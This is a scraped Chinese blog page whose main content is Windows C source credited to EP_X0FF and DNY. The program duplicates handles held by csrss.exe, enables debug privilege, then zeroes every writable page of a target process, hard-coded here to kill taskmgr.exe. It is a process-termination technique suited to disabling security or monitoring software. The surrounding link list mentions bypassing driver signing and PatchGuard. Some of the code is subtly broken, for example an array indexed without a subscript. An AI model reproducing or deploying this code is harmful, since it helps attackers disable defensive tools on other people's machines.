EP_X0FF进程填零的C代码版

概述:40nm FPGA芯片,EP4SGX70DF29C2XG、EP4SGX70HF35C3G、EP4SGX70HF35I3G、EP4SGX70HF35I4G Stratix® IV 收发器型(GX) Stratix IV GX FPGA具有工作在8.5 Gbps的48个收发器,支持开发新一代宽带通信基础设施。 阅读详情
/* This simple app demonstrates how to kill process by writing process's memory.
  Write by EP_X0FF and DNY,I just extract it to C      ---- zjjmj2002
*/
#include <Windows.h>
#include <Ntsecapi.h>
#include <Aclapi.h>
#include <tlhelp32.h>

#pragma comment (lib,"ntdll.lib")    // Copy From DDK
#pragma comment (lib,"Kernel32.lib")
#pragma comment (lib,"Advapi32.lib")
#pragma comment(linker, "/ENTRY:main")

//------------------ 数据类型声明开始 --------------------//
typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    ULONG PebBaseAddress;
    ULONG_PTR AffinityMask;
    LONG BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef struct _SYSTEM_MODULE_INFORMATION {
  ULONG Reserved[2];
  PVOID Base;
  ULONG Size;
  ULONG Flags;
  USHORT Index;
  USHORT Unknown;
  USHORT LoadCount;
  USHORT ModuleNameOffset;
  CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
  ULONG Length;
  HANDLE RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG Attributes;
  PVOID SecurityDescriptor;
  PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef enum _SECTION_INHERIT {
  ViewShare = 1,
  ViewUnmap = 2
} SECTION_INHERIT;

typedef struct _MY_PROCESS_INFO {
  ULONG PID;
  ULONG KPEB;
  ULONG CR3;
  CHAR Name[16];
  ULONG Reserved;
} MY_PROCESS_INFO, *PMY_PROCESS_INFO;
typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;

typedef long NTSTATUS;
//------------------ 数据类型声明结束 --------------------//

//--------------------- 预定义开始 -----------------------//
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS        0x00000000
#define STATUS_UNSUCCESSFUL      0xC0000001
#define STATUS_NOT_IMPLEMENTED    0xC0000002
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_INVALID_PARAMETER  0xC000000D
#define STATUS_ACCESS_DENIED    0xC0000022
#define STATUS_BUFFER_TOO_SMALL  0xC0000023
#define OBJ_KERNEL_HANDLE      0x00000200
#define SystemModuleInformation  11
#define SystemHandleInformation  0x10

#define InitializeObjectAttributes( p, n, a, r, s ) { (p)->Length = sizeof( OBJECT_ATTRIBUTES );(p)->RootDirectory = r;                (p)->Attributes = a;                    (p)->ObjectName = n;                      (p)->SecurityDescriptor = s;                (p)->SecurityQualityOfService = NULL;        }
//--------------------- 预定义结束 -----------------------//

//------------------ Native API声明开始 ------------------//

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
  ULONG SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength
  );
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenProcess(

  OUT PHANDLE            ProcessHandle,
  IN ACCESS_MASK          AccessMask,
  IN POBJECT_ATTRIBUTES  ObjectAttributes,
  IN PCLIENT_ID          ClientId );
NTSYSAPI
NTSTATUS
NTAPI
ZwAllocateVirtualMemory(

  IN HANDLE              ProcessHandle,
  IN OUT PVOID            *BaseAddress,
  IN ULONG                ZeroBits,
  IN OUT PULONG          RegionSize,
  IN ULONG                AllocationType,
  IN ULONG                Protect );
NTSYSAPI
NTSTATUS
NTAPI
ZwDuplicateObject(

  IN HANDLE              SourceProcessHandle,
  IN PHANDLE              SourceHandle,
  IN HANDLE              TargetProcessHandle,
  OUT PHANDLE            TargetHandle,
  IN ACCESS_MASK          DesiredAccess OPTIONAL,
  IN BOOLEAN              InheritHandle,
  IN ULONG                Options );
NTSYSAPI
NTSTATUS
NTAPI
ZwQueryInformationProcess(

  IN HANDLE              ProcessHandle,
  IN PVOID         ProcessInformationClass,
  OUT PVOID              ProcessInformation,
  IN ULONG                ProcessInformationLength,
  OUT PULONG              ReturnLength );
NTSYSAPI
NTSTATUS
NTAPI
ZwProtectVirtualMemory(

  IN HANDLE              ProcessHandle,
  IN OUT PVOID            *BaseAddress,
  IN OUT PULONG          NumberOfBytesToProtect,
  IN ULONG                NewAccessProtection,
  OUT PULONG              OldAccessProtection );
NTSYSAPI
NTSTATUS
NTAPI
ZwWriteVirtualMemory(

  IN HANDLE              ProcessHandle,
  IN PVOID                BaseAddress,
  IN PVOID                Buffer,
  IN ULONG                NumberOfBytesToWrite,
  OUT PULONG              NumberOfBytesWritten OPTIONAL );

NTSYSAPI
NTSTATUS
NTAPI
ZwClose(

  IN HANDLE              ObjectHandle );

NTSYSAPI
NTSTATUS
NTAPI
ZwFreeVirtualMemory(

  IN HANDLE              ProcessHandle,
  IN PVOID                *BaseAddress,
  IN OUT PULONG          RegionSize,
  IN ULONG                FreeType );
 
//------------------ Native API声明结束 ------------------//

//------------------ 程序正式开始 ------------------//

DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;

hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, &pe32))
{
  do
  {
  if(lstrcmpi(szName,pe32.szExeFile)==0)
  {
    dwRet=pe32.th32ProcessID;
    break;
  }
  }while (Process32Next(hProcessSnap,&pe32));
}
else return 0;

if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return dwRet;
}

void KillIce(ULONG dwProcessId)
{
  HANDLE     ph, h_dup;
  ULONG     bytesIO;
  PVOID     buf;
  ULONG        i;
  CLIENT_ID    cid1;
  OBJECT_ATTRIBUTES    attr;
  HANDLE        csrss_id;
  HANDLE    SnapShotHandle;
  PROCESS_BASIC_INFORMATION    pbi;
  PVOID        p0, p1;
  ULONG        sz, oldp;
  ULONG        NumOfHandle;
  PSYSTEM_HANDLE_INFORMATION    h_info; 

  csrss_id = (HANDLE)GetPidByName("csrss.exe");
  attr.Length = sizeof(OBJECT_ATTRIBUTES);
  attr.RootDirectory = 0;
  attr.ObjectName = 0;
  attr.Attributes = 0;
  attr.SecurityDescriptor = 0;
  attr.SecurityQualityOfService = 0;

  cid1.UniqueProcess = csrss_id;
  cid1.UniqueThread = 0;
  ZwOpenProcess(&ph, PROCESS_ALL_ACCESS, &attr, &cid1);

  bytesIO = 0x400000;
  buf = 0;
  ZwAllocateVirtualMemory(GetCurrentProcess(), &buf, 0, &bytesIO, MEM_COMMIT, PAGE_READWRITE);
  ZwQuerySystemInformation(SystemHandleInformation, buf, 0x400000, &bytesIO);
  NumOfHandle = (ULONG)buf;
  h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

  for (i= 0 ; i<NumOfHandle; i++)
  {
  if ((h_info.ProcessId == (ULONG)csrss_id)&&(h_info.ObjectTypeNumber == 5))
    {
      if (ZwDuplicateObject(ph, (PHANDLE)h_info.Handle, (HANDLE)-1, &h_dup,
        0, 0, DUPLICATE_SAME_ACCESS) == STATUS_SUCCESS)
        ZwQueryInformationProcess(h_dup, 0, &pbi, sizeof(pbi), &bytesIO);
        if (pbi.UniqueProcessId == dwProcessId)
        {
          MessageBox(0, "目标已确定!", "OK", MB_OK);
          for (i = 0x1000; i<0x80000000; i = i + 0x1000)
          {
          p0 = (PVOID)i;
          p1 = p0;
          sz = 0x1000;
            if (ZwProtectVirtualMemory(h_dup, &p1, &sz, PAGE_EXECUTE_READWRITE, &oldp) == STATUS_SUCCESS)
              {             
              ZwWriteVirtualMemory(h_dup, p0, buf, 0x1000, &oldp);
              }         
            }
              MessageBox(0, "任务已完成!","OK", 0);
              ZwClose(h_dup);                       
          }
      }
  }

  bytesIO = 0;
  ZwFreeVirtualMemory(GetCurrentProcess(), &buf, &bytesIO, MEM_RELEASE);
     
 
}
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}
void main()
{   
    ULONG Pid;
    HANDLE hToken;
    OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
    EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);
    if (Pid = GetPidByName("taskmgr.exe"))
    {
        KillIce(Pid);
    }    
    ExitProcess(0);
}
 
CY7C68013A_Slave fifo固件心得 cy7c68013-56在使用Slave fifo进行数据传输的时候,EP2,EP4作为OUT端点,EP6,EP8作为IN端点。所以这些寄存器一定要搞懂:PINFLAGSAB,PINFLAGSCD.我们一般要用到FLAGA,FLAGB,FLAGC,FLAGD几个引脚,用于得到端点的状态,PINFLAGSAB,PINFLAGSCD是一组寄存器,用于设置这四个引脚的功能。PINFLAGSAB为例:  阅读详情

相关推荐

TMS320F28035-EP核心架构与外设实战:从DSP内核到高精度控制

在嵌入式实时控制领域,微控制器(MCU)是实现复杂算法与精密硬件交互的核心。其原理在于通过专用处理器内核、丰富的外设和高效的存储架构,将控制算法转化为精确的物理动作。这项技术的核心价值在于能够以高可靠性、低延迟和高精度处理实时任务,从而简化系统设计并提升整体性能。其典型应用场景包括电机驱动、数字电源以及需要高精度信号生成与采集的工业自动化设备。本文聚焦于德州仪器(TI)的C2000系列MCU,特别是TMS320F28035-EP这款增强型产品。它集成了强大的C28x DSP内核与专为控制优化的外设,如高分辨

weixin_33831673的博客 423

bootloader_v2 以及改进PatchDSE!(静态过win8.1驱动签名限制)

bootloader_v1 //Disable PatchGuard - the easy/lazy way. //for Vista SP2 & Windows 7 (X64) // //by Fyyre (thank you Roxaz for helping me to test) //http://fyyre.l2-fashion.de/ //http://twitter.co

zhuhuibeishadiao 3098

ADS7828与dsPIC33EP的精密数据采集系统设计

数据采集系统是工业自动化和环境监测的核心组件,其核心在于模数转换器(ADC)与微控制器(MCU)的协同工作。ADS7828作为12位精度、8通道ADC芯片,配合具备DSP引擎的dsPIC33EP系列MCU,可构建高性价比的混合信号处理系统。这种组合既满足多通道低速采集需求,又能通过MCU内置ADC实现单通道高速采样。在硬件设计层面,需重点关注参考电压稳定性、抗混叠滤波器配置以及I2C总线布局优化。软件实现上,利用DMA数据传输和硬件定时器触发能显著提升系统实时性。典型应用包括工业4-20mA信号采集、多通道

weixin_30769455的博客 824

LINUX硬盘填充0,linux增加硬盘 磁盘分区格式化及挂载

nux磁盘分区格式化及挂载意义: 给linux系统服务器扩容,加一块硬盘实验环境: virtualBox虚拟软件+ centos6.5第一步: 添加硬件 硬盘(我这里用virtualBox模拟) 启动查看设备,找到新加的硬盘标识fdisk -l 分区fdisk /dev/sdb 说明:p --主分区[1-4]或查看现有分区n -- 添加一个分区d -- 删除分区+1G --分配1G空间w --...

weixin_34741145的博客 588

linux之 pcie MSI-X中断编程

当前数据中心服务器,CPU基本都是基于PCIE总线和各种设备(例如,内存、显卡和网卡等)相连。而各种PCIE设备采用 MSIX(Message Signaled Interrupt eXtended - 基于消息的信号中断扩展)将中断信号发送给CPU。我们知道MSI最多支持32个中断向量号,而MSI-X中断向量数目最大为2048。那我们编程时如何获取、申请、控制这些中断向量资源呢,本文将为你揭开神秘的面纱。

z20230508的博客 1689

CY7C68013A工作在SlaveFIFO下的固件代码分析

1. TD_Init代码 void TD_Init(void) // Called once at startup { // set the CPU clock to 48MHz CPUCS = ((CPUCS &amp; ~bmCLKSPD) | bmCLKSPD1); SYNCDELAY; IFCONFIG =0x43; //使用外...

snaking616 1727

谁能帮我写个用C语言实现计算机网络零比特流插入

谢谢!

zhuyuqing20101784的专栏 1540

Halcon dyn_threshold详解

dyn_threshold 原型 dyn_threshold(OrigImage, ThresholdImage : RegionDynThresh : Offset, LightDark : ) 功能 利用局部阈值分割图像 参数列表 OrigImage (input_object):原始图像 ThresholdImage (input_object):处理后图像(一般采用滤波处理) RegionDynThresh (output_object):分割后区域 Offset (input_control):灰

ZiLiangQin的博客 1万+

python 0xff_正在解压缩“0xff”与“\xff”

我试图用wave库从wave文件中读取二进制数据。数据以'\x0f\x06\x0a…'的形式读取和报告,我想把十六进制数转换成整数(你知道,以10为基数)。我把这些字符当作十六进制字符来处理,但我并没有把这些字符当作十六进制字符来处理。在import waveimport structpath="C:\\directory\\file.wav"file=wave.open(path,'r')dat...

weixin_39915210的博客 1583

2.2.1.3-移动平均线(python画k线、均线、5日线、买卖点图、python均线策略)

* 绘制一个k线图,也就是蜡烛图 * 计算5日均线值、10日均线值 * 在k线图上,绘制5日线和10日线图 * 在5日线上,绘制与10日线的交叉点(上穿、下穿时) python画k线、均线、5日线、买卖点图、python均线策略

KelvinLiu 3413

Vim 入门到够用:Linux 文本编辑器的三种模式、常用操作与实战技巧

i 进入编辑模式Esc 退出编辑模式回到命令模式: 从命令模式进入底行模式编辑,不一定非得“打开就直接打字”。一旦你接受了“模式”这件事,后面很多操作都会顺起来。学 Vim,不要追求一次学全,先把“命令模式—编辑模式—底行模式”这条主线练熟。只要这条主线通了,后面的复制、删除、搜索、替换,都是顺手补上去的能力。

Web安全工具库 804

进程填零结束进程

/* This simple app demonstrates how to kill process by writing processs memory.   Write by EP_X0FF and DNY,I just extract it to C      ---- zjjmj2002 */ #include #include #include

lwglucky的专栏 1347

tcmalloc(高并发内存池)简化版讲解-项目

高清发不上去,私我发高清,项目完整代码@我。

2201_75352618的博客 911

dsPIC33EP芯片ECAN模块学习

dsPIC33EP64MC504 ECAN模块应用笔记 (1) 参考官网的例子 链接地址 http://ww1.microchip.com/downloads/en/DeviceDoc/ce429_ecan_rtr.zip (2) ECAN初始化 在上面的例子中,找到ecan1_config.c文件,需要修改的设置基本上都在这里。 1. 波特率设置 函数...

1675

Virtualbox “Kernel driver not installed (rc=-1908)”问题全面解析与修复指南

本文全面解析了Virtualbox出现'Kernel driver not installed (rc=-1908)'错误的原因及修复方法。详细介绍了如何通过重新安装virtualbox-dkms、处理Secure Boot特殊情况等步骤解决该问题,并提供了预防措施与最佳实践,帮助用户避免类似错误再次发生。

weixin_30352645的博客 531

【一张图系列】别再混淆了!5分钟搞懂ERP、MES、PLC的职责边界与数据流》

《ERP、MES、PLC系统边界与协作解析》一文清晰阐述了制造业三大核心系统的角色分工与数据流转。文章将ERP比作企业"大脑"负责战略规划,MES作为车间"指挥官"负责执行调度,PLC则是设备"士兵"执行具体操作。通过一张架构图展示了从计划层到控制层的完整信息流:蓝色箭头表示指令下行(ERP→MES→PLC),橙色箭头代表数据上行反馈(PLC→MES→ERP)。文章强调理清系统边界对数字化转型、部门协作和项目实施的关键作用,并预告下期将深入解析ME

「东哥说MES」 专注于MES制造执行系统,为你拆解核心架构、功能模块及与ERP/PLC的集成逻辑。提供从入门到精通的系列干货、精选行业报告与实用工具,构建你的数字化知识体系,关注我,用实战经验照亮你的数字化之路。 976

CY7C68013的SlaveFIFO模式

cy7c68013使用同步模式的slave fifo模式进行数据写入和读取,可以使用单个FX2板,即可完成验证无需外部单片机或者FPGA

zhye3690592的专栏 1423

SAP 财务快速记账之--科目分配模型(Account assignment model )

SAP FICO 运维解决方案

lijinbao171022的博客 1773

te2440使用dnw下载的时候地址为何设置为0x30800000

我看了te2440的bootloader源码,那个0x30800000并非在te2440的bootloader中规定的,而是当电脑的dnw向2440发送数据的时候,最先的4个字节是要下载到SDRAM的地址,接着后4个字节是要下载的数据的大小(这一步是在usb的中断中判断的,/usbout.c中的Ep3Handler())。在option.h中看到如sdram分部://64MB// 0x30000000 ~ 0x30ffffff : Download Area (16MB) Cacheable// 0x310

redxu的专栏 3103

【UG\NX二次开发】使用内部函数展开和折叠工序导航器

NX二次开发-群精选」专栏收录了那些曾散落在聊天对话框里的精彩的知识分享,这都是被遗落的宝贵财富。让我们一起向大佬学习,充满激情地进步,不断超越自己。底部联系方式,欢迎您加入一起交流。​下次一定。

王牌飞行员_里海的博客 822

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

atlas200 AI的PCIE试玩

fpga到cpu的速度是1000MB,pcie3.0 4x的理论速度为2000MB;cpu到fpga的速度是1250MB,pcie3.0 4x的理论速度为2000MB。HI3559AV100和FPGA 7K690T的PCIE接口调试记录-续_hi3559 + fpga-优快云博客。

fzktongyong的博客 1952

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

手把手图解:Linux 0.11 启动时那场关键的‘内存大搬家’(从 0x10000 到 0x0)

本文详细解析了Linux 0.11启动过程中关键的内存搬迁操作,从0x10000到0x0的精密数据迁移。通过分析源码和汇编代码,揭示了这一操作如何为保护模式切换铺平道路,并展示了早期操作系统设计者对硬件资源的极致掌控。

weixin_30698527的博客 416

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

64位windows下32位进程一例卡死分析

@TOC 1 故障现象 win7 64 os下,360浏览器不定期出现卡死。 2 dmp分析 使用任务管理器给360se进程下dump。链接: https://pan.baidu.com/s/1Hd-T0T6WEcufjkFKDA6MHg?pwd=z4u5 提取码: z4u5。 windbg打开之,提示 For analysis of this file, run !analyze -v wow64win!NtUserMessageCall+0xa: 00000000`749bfdaa c3

u010607621的博客 2300

EP4CE6F17C8的Location布线资源及其命名方式

LCCOMB_X5_Y5_N0 FF_X5_Y5_N1 DSPMULT_X20_Y5_N0 PLL_1 CLKCTRL_G0 TERMINATION_X34_Y1_N0 OSCILLATOR_X1_Y12_N3 APFCONTROLLER_X1_Y12_N4 LAB_X1_Y1_N0 M9K_X15_Y1_N0 DSP_X20_Y1_N0 IOBANK_1 EDGE_BOTTOM VREFGR...

lis_accept的博客 1204

x32dbg/x64dbg逆向之反向分析还原c语言代码

C语言的正向反向学了这么多,咱们来点实际的吧,别总是寄存器,赋值,入栈,出栈,平栈,栈帧,安全cookie检测,开辟空间,调用约定,字符扩展,局部变量,ds段,ss段,参数,取地址,比较,jcc跳转,直接调用,间接调用,听着就烦是吧哈哈哈。00007FF618731A2C | 4C:8D45 44 | lea r8,qword ptr ss:[rbp+44] | FileName.cpp:54,rbp+44肯定也是一个变量,但是lea为啥要获取它地址?

Strategic__qq3610256651的博客 510
上一篇: 文件-进程关联演示程序
下一篇: BIOS rootkit的一点补充
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值